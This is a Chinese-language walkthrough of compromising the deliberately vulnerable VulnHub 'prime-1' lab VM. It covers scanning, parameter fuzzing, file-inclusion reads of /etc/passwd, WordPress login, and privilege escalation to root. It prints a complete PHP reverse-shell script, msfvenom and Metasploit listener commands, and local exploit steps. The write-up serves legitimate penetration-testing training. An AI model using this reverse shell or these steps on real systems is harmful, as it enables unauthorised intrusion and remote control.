滲透測試靶機 prime-1
滲透測試靶機 prime-1
下載映象:https://www.vulnhub.com/entry/prime-1,358/
從VMware開啟虛擬機器,prime-1如下圖
網路介面卡為NAT模式,可以直接點選右上角的圖示,獲取ip地址資訊,也可以使用nmap進行掃描
nmap -sP 192.168.87.1/24 (P:ping 、24:c類地址),虛擬網路編輯器中可以知道NAT模式的子網是多少
掃描埠,找到對應的服務資訊 ,nmap -p 1-65535 -A 192.168.87.152
可以知道只有22(ssh),80(http)埠開放
知道了ip,可以嘗試進行訪問,發現如下頁面
可以從此頁面收集一些有關資訊,如頁面原始碼、掃描目錄、cms指紋資訊、版本資訊等
御劍掃描目錄:
dirb掃描 (man dirb瞭解掃描的引數方法)
common.txt字典還不錯,可以下載到本地windows,(可以copy貼上到桌面,也可以使用sz file 檔名)
嘗試訪問/dev檔案,也可以curl x.x.x.x/dev
嘗試新增一些dirb引數,-X 指定一些關鍵字尾名:dirb http://192.168.87.152 -X .txt,.php,.zip
掃描到了3個檔案,可以嘗試訪問一下
fuzz模糊測試,測試一下php檔案引數
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.87.152/index.php?FUZZ
找不一樣的返回值,為正確值
過濾words單詞數為12的,--hw 12 (wfuzz -h )
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.87.152/index.php?FUZZ
知道引數為:index.php?file , 思考:是否存在檔案讀取漏洞?
根據前面得到的location.txt ,嘗試訪問:http://192.168.87.152/index.php?file=location.txt
獲得正確引數secrettier360,訪問:http://192.168.87.152/image.php?secrettier360
嘗試讀取敏感檔案資訊,如:/etc/passwd, http://192.168.87.152/image.php?secrettier360=/etc/passwd
發現提示資訊,password.txt 在/home/saket目錄下
利用檔案讀取,獲取密碼資訊
嘗試登入22號埠ssh服務,ssh -p 22 [email protected], 發現密碼不對
接著,往80埠的http服務wordpress方向進行
可以使用cmseek 掃描版本,也可以使用wpscan
wpscan --url http://192.168.87.152/wordpress/ --enumerate u
獲取到使用者名稱為victor,當然wordpress頁面也有,登入WordPress,使用者名稱:victor ,密碼:follow_the_ippsec
看能否找到可以寫入php程式碼的地方,上傳一句話木馬
找到了,但是出於考慮這裡用反彈shell的方式(因為不知道靶機的環境,如內網、防火牆、動態ip、防毒軟體)
可以找一些php反彈shell的程式碼,也可以用msf生成反彈shell的payload
`
點選檢視程式碼
<?php`
`error_reporting (E_ERROR);`
`ignore_user_abort(true);`
`ini_set('max_execution_time',0);`
`$os = substr(PHP_OS,0,3);`
`$ipaddr = '192.168.87.128';`
`$port = '6666';`
`$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));`
`$cwd = getcwd();`
`$msg = php_uname()."\n------------Code by Spider-------------\n";`
`if($os == 'WIN') {`
`$env = array('path' => 'c:\\windows\\system32');`
`} else {`
`$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');`
`}`
`if(function_exists('fsockopen')) {`
`$sock = fsockopen($ipaddr,$port);`
`fwrite($sock,$msg);`
`while ($cmd = fread($sock,1024)) {`
`if (substr($cmd,0,3) == 'cd ') {`
`$cwd = trim(substr($cmd,3,-1));`
`chdir($cwd);`
`$cwd = getcwd();`
`}`
`if (trim(strtolower($cmd)) == 'exit') {`
`break;`
`} else {`
`$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
`if (is_resource($process)) {`
`fwrite($pipes[0],$cmd);`
`fclose($pipes[0]);`
`$msg = stream_get_contents($pipes[1]);`
`fwrite($sock,$msg);`
`fclose($pipes[1]);`
`$msg = stream_get_contents($pipes[2]);`
`fwrite($sock,$msg);`
`fclose($pipes[2]);`
`proc_close($process);`
`}`
`}`
`}`
`fclose($sock);`
`} else {`
`$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);`
`socket_connect($sock,$ipaddr,$port);`
`socket_write($sock,$msg);`
`fwrite($sock,$msg);`
`while ($cmd = socket_read($sock,1024)) {`
`if (substr($cmd,0,3) == 'cd ') {`
`$cwd = trim(substr($cmd,3,-1));`
`chdir($cwd);`
`$cwd = getcwd();`
`}`
`if (trim(strtolower($cmd)) == 'exit') {`
`break;`
`} else {`
`$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
`if (is_resource($process)) {`
`fwrite($pipes[0],$cmd);`
`fclose($pipes[0]);`
`$msg = stream_get_contents($pipes[1]);`
`socket_write($sock,$msg,strlen($msg));`
`fclose($pipes[1]);`
`$msg = stream_get_contents($pipes[2]);`
`socket_write($sock,$msg,strlen($msg));`
`fclose($pipes[2]);`
`proc_close($process);`
`}`
`}`
`}`
`socket_close($sock);`
`}`
`?>`
-
用msf生成payload
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.87.128 lport=7777 -o shell.php
將shell.php的程式碼複製過來,Update File
啟動控制檯,msfconsole //banner,可以換每次啟動的圖形(( •̀ ω •́ )✧)
1.啟動監聽模組:use exploit/multi/handler
2.輸入php型別反彈連線:set payload php/meterpreter/reverse_tcp //和前面一致
3.指定監聽的主機和埠:set lhost 192.168.87.128 --> set lport 7777
4.開始監聽:exploit/run
下發指令,找到寫入程式碼的secret.php
訪問這一檔案:/wordpress/wp-content/themes/twentynineteen/secret.php
發現反彈成功
現在可以通過執行一些命令,獲取版本資訊,然後利用版本相對應的漏洞
getuid、sysinfo
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu
開啟msfconsole,搜尋系統版本漏洞,searchsploit 16.04 Ubuntu
如果版本是4.10 的話,則可以使用下面的方法,
將指令碼檔案複製到root目錄下,cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
編譯,gcc 45010.c -o 45010
在meterpreter視窗,cd /tmp
upload /root/45010 /tmp/45010
shell //進入shell視窗
chmod +x 45010 //新增可執行許可權
./45010 //執行
我的是4.15版本的,
- 嘗試使用核心進行本地提權
background
back
use exploit/linux/local/bpf_sign_extension_priv_esc
set session 1
exploit
也是版本問題,執行不了
- 通過執行enc進行提權
切換到shell,
執行:python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l ,可以看到/home/saket/enc
執行 ./enc,發現需要密碼,一番搜尋後,找到了
cd opt/backup/server_database
cat backup_pass
因為許可權原因,用sudo執行enc,
sudo ./enc -->輸入密碼:backup_password
cat enc.txt、cat key.txt
根據提示,需要將ippsec用md5加密,然後當做金鑰用來解密enc.txt
用md5加密;https://www.cmd5.com/
然後對enc.txt的內容進行解密:https://www.devglan.com/online-tools/aes-encryption-decryption
將生成的資訊,用burpsuite base64解碼
得到使用者:saket ,密碼:tribute_to_ippsec
su saket,切換使用者,輸入密碼,執行sudo -l
然後根據提示資訊,sudo /home/victor/undefeated_victor
發現/tmp/challenge不存在,那麼可以切換到/tmp目錄下寫入 /bin/bash 進行提權
cd /tmp --> echo "bin/bash" > challenge
chmod +x challenge //加入可執行許可權
接下來,提權,獲得root許可權